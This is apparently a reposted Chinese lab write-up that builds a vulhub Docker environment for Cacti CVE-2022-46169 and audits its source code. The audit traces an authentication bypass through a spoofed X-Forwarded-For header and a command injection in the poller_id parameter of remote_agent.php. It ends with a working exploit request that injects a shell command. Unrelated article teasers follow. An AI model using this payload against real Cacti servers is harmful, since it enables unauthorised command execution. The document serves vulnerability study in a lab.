一、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | sh

验证docker是否正确安装

docker version

验证docker compose是否可用

docker compose version

2、在GitHub上拉取 vulhub

首先先装一个proxychains网络代理工具,如果直接拉取的话速度会很慢,甚至拉去不下来,用proxychains这个代理工具会快很多

apt-get install proxychains

进入vim  etc/prioxychains.conf编辑

改为自己物理机的IP和代理工具的端口

从GtiHub上用proxychains拉取vulhub

 proxychains git clone https://github.com/vulhub/vulhub

下载成功后进入到/vulhub/cacti/CVE-2022-46169这个目录下

cd /vulhub/cacti/CVE-2022-46169

启动容器

docker compose up -d

在浏览器输入127.0.0.1 8080 环境搭建成功

开始安装,全部下一步就可以

创建一个图表

二、docker compose up -d网络报错的问题

1、调整自己代理工具端口,让三个端口全部打开,混合端口和proxychains.conf中的要一致

2、创建 Docker 代理配置目录(如果不存在):

sudo mkdir -p /etc/systemd/system/docker.service.d

3、创建代理配置文件

sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf

4、写入以下内容(根据你的代理地址修改)

192.168.1.4:7890为物理机IP和代理端口

[Service]
Environment="HTTP_PROXY=http://192.168.1.4:7890"
Environment="HTTPS_PROXY=http://192.168.1.4:7890"
Environment="NO_PROXY=localhost,127.0.0.1"

5、重新加载 systemd 并重启 Docker

sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl restart docker

6、验证 Docker 是否已使用代理

sudo systemctl show --property=Environment docker

7、重新运行   

docker compose up -d

三、 代码审计

文件:remote_agent.php

跟进 remote_client_authorized() → 看 如何取客户端 IP

if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}

文件:lib/functions.php 中的 get_client_addr()

结论:只要我们在 HTTP 头里带上X-Forwarded-For: 127.0.0.1,get_client_addr() 就会返回 127.0.0.1,而不会继续看真正的 REMOTE_ADDR。

function get_client_addr() {if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {return trim(array_shift(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));}return $_SERVER['REMOTE_ADDR'];
}

文件:remote_agent.php

文件:remote_agent.php

默认安装后表里正好有127.0.0.1,于是 校验通过 → remote_client_authorized() 返回 true

switch (get_request_var('action')) {case 'polldata':poll_for_data(); // 我们的目标函数break;}

poll_for_data() 关键片段

文件:remote_agent.php:232-234

get_nfilter_request_var 就是 $_GET[$key] 原样返回,没有任何过滤。

$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id        = get_filter_request_var('host_id');
$poller_id      = get_nfilter_request_var('poller_id');   //可被注入

文件:poll_for_data() 

/script_server.php realtime <poller_id> 这条命令里,$poller_id 就是可控字符串。

case POLLER_ACTION_SCRIPT_PHP:      // action = 2$cactiphp = proc_open(read_config_option('path_php_binary') .' -q ' .$config['base_path'] . '/script_server.php realtime ' .$poller_id,          //直接拼接$cactides,$pipes);

经过数据库查看,发现id=6时action=2,如果action=2则可以通过BurpSuite抓包写入文件

"X-Forwarded-For: 127.0.0.1" 
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch /tmp/pwned`"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/91336.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/91336.shtml
英文地址,请注明出处:http://en.pswp.cn/web/91336.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spark SQL 的 SQL 模式和 DSL模式

下面我将详细讲解如何使用 Spark SQL 分别通过 SQL 模式和 DSL&#xff08;Domain Specific Language&#xff09;模式实现 WordCount 功能。WordCount 是大数据处理中的经典案例&#xff0c;主要功能是统计文本中每个单词出现的次数。准备工作首先需要初始化 SparkSession&…

03 基于sklearn的机械学习-线性回归、损失函数及其推导

线性回归 分类的目标变量是标称型数据&#xff0c;回归是对连续型的数据做出预测。 一、标称型数据&#xff08;Nominal Data&#xff09; 标称型数据属于分类数据&#xff08;Categorical Data&#xff09; 的一种&#xff0c;用于描述事物的类别或属性&#xff0c;没有顺序或…

TTS语音合成|f5-tts语音合成服务器部署,实现http访问

p; 上篇文章分享了如何使用GPT-SoVITS实现一个HTTP服务器&#xff0c;并通过该服务器提供文本到语音&#xff08;TTS&#xff09;服务。今天&#xff0c;我们将进一步探讨如何部署另一个强大的TTS模型——f5-tts。这个模型在自然语音生成方面表现出色&#xff0c;具有高度的可…

【Golang】Go语言指针

Go语言指针 文章目录Go语言指针一、指针1.1、Go语言中的指针1.1.1、指针地址和指针类型1.1.2、指针取值1.1.3、空指针1.1.4、new和make1.1.5、new1.1.6、make1.1.7、new与make的区别一、指针 区别于C/C中的指针&#xff0c;Go语言中的指针不能进行偏移和运算&#xff0c;是安全…

EMC的一些简单常识

ESD测试比对 & 需要做到动作 试验&#xff1a; -780系统&#xff0c;板子直流地 和 PE连接&#xff08;主板PE & DC-分开&#xff0c;但是前端板PE & DC-连接&#xff09;&#xff0c;只能承受1K接触放电。 -780系统&#xff0c;板子直流地 和 PE分开&#xff08;主…

Day4||vue-计算属性

一.定义概念&#xff1a;基于现有的数据&#xff0c;计算出来的新属性。依赖的数据变化&#xff0c;自动重新计算。语法&#xff1a;声明需要放在computed的配置项中&#xff0c;一个计算属性对于一个函数。使用起来和普通属性一样使用{{计算属性名}}计算属性->可以将一段求…

编程算法在金融、医疗、教育、制造业等领域的落地案例

随着人工智能与大数据技术的迅猛发展&#xff0c;编程算法已从理论研究走向实际应用&#xff0c;在金融、医疗、教育、制造业等多个关键领域实现了深度落地。这些算法不仅提升了业务效率&#xff0c;还推动了行业智能化转型。本文将系统性地分析编程算法在四大核心领域的典型应…

vue npm install卡住没反应

install某个插件的时候&#xff0c;发现卡住不动&#xff0c;可以尝试以下解决方法 1.使用–verbose查看安装详情 npm install consola --verbose2.更换淘宝镜像&#xff08;一般都是淘宝镜像正式过期问题&#xff09; 查看当前镜像 npm config get registry更换淘宝镜像 第一种…

【Unity3D实例-功能-移动】角色移动-通过WSAD(CharacterController方式)

今天&#xff0c;我们就来聊聊如何在Unity中使用CharacterController组件&#xff0c;让角色能够灵活移动&#xff0c;在游戏世界里像风一样自由奔跑吧。废话不多说&#xff0c;走&#xff0c;让我们马上来一探究竟&#xff01;目录&#xff1a;1.准备模型2.动画的处理3.为角色…

AI Agent开发学习系列 - langchain之LCEL(4):Memory

Memory的添加方式 from operator import itemgetterfrom langchain.memory import ConversationBufferMemory from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain_core.runnables import RunnableLambda, RunnablePassthrough from l…

向Coze学习,我们把这些工作流也开源了

要说现在最火的工作流是什么&#xff0c;那非视频工作流莫属了。我每天也都能接到不少咨询短视频工作流的需求。 这大半年来我们团队也制作和整理了超过 100 工作流&#xff0c;其中很大一部分都是现在最火的视频工作流。 为了向Coze开源致敬&#xff0c;这次我们斑码团队也决…

Git 从零开始:完整项目上传指南

一、准备工作 1. 安装 Git Windows&#xff1a;下载安装包macOS&#xff1a;在终端运行 brew install gitLinux&#xff1a; # Ubuntu/Debian sudo apt update && sudo apt install git# CentOS/Fedora sudo yum install git2. 配置用户信息&#xff08;首次使用&am…

【AI】入门级提示词模板:适用于ChatGPT、文心一言等主流模型

入门级提示词模板&#xff1a;适用于 ChatGPT、文心一言等主流模型**在当下这个人工智能飞速发展的时代&#xff0c;ChatGPT、文心一言等主流大模型已经广泛地融入到我们的工作与生活当中。不管是创作文章、生成代码&#xff0c;还是进行数据分析、获取创意灵感&#xff0c;这些…

如何解决 undetected_chromedriver 启动慢问题

要解决 undetected_chromedriver 启动慢的问题&#xff0c;可以从以下几个方面优化配置和代码&#xff1a; 1. 指定本地 Chrome 二进制路径 避免自动搜索 Chrome 路径&#xff0c;直接指定位置&#xff1a; driver uc.Chrome(browser_executable_pathrC:\Program Files\Google…

Python 程序设计讲义(42):组合数据类型——元组类型:创建元组

Python 程序设计讲义&#xff08;42&#xff09;&#xff1a;组合数据类型——元组类型&#xff1a;创建元组 目录Python 程序设计讲义&#xff08;42&#xff09;&#xff1a;组合数据类型——元组类型&#xff1a;创建元组一、元组的特征二、创建元组1、使用圆括号&#xff0…

windows 设置 vscode 免密远程

我们可以使用 vscode ssh 进行远程编辑文件项目。也可以使用 ssh 密匙 来实现免密登录。 本人在本地windows系统有多个密匙&#xff0c;使用 D:\SPB_Data\.ssh\id_rsa_local 进行本地设备进行登录。 在 vscode ssh 配置文件中添加 IdentityFile 配置 Host 本地设备ipHostName …

ubuntu自动搭建Android平台NDK编译环境

sh setup_ndk_env.sh自动下载NDK并解压 提取Android平台工具链 验证Android工具链 设置工具链变量 export CROSS_TRIPLE=aarch64_linux_android export CROSS_ROOT=/home/ubuntu/${CROSS_TRIPLE} export ANDROID_NDK=${CROSS_ROOT} export AS=${CROSS_ROOT}/bin/llvm-as exp…

添加捕捉吸附标识(使用QT+OpenGL开发三维CAD)

捕捉吸附标识怎么画出来&#xff1f;在点吸附的时候能够展示吸附标识可以让用户更直观的看到当前捕捉点&#xff0c;从而更准确的进行设计和绘制。 效果视频见原文&#xff1a;添加捕捉吸附标识&#xff08;使用QTOpenGL开发三维CAD&#xff09; 16.Add snap label 鼠标捕捉吸…

元宇宙中的“虫洞“:技术实现、应用场景与未来挑战

一、技术定义与核心架构1.1 虫洞的元宇宙隐喻概念来源&#xff1a;虫洞在物理学中是连接不同时空的通道&#xff0c;而在元宇宙中&#xff0c;这一概念被引申为连接不同虚拟世界的跨平台协议。英伟达Omniverse平台通过USD&#xff08;通用场景描述&#xff09;实现了这一隐喻&a…

使用GIS中基于森林的分类与回归模型来估算房屋价值

“基于森林的分类与回归”&#xff0c;它可以帮助分析师有效地设计、测试和部署预测模型。 基于森林的分类与回归应用了 Leo Breiman 的随机森林算法&#xff0c;这是一种用于分类和预测的流行监督机器学习方法。该工具允许分析师轻松整合表格属性、基于距离的要素和解释栅格来…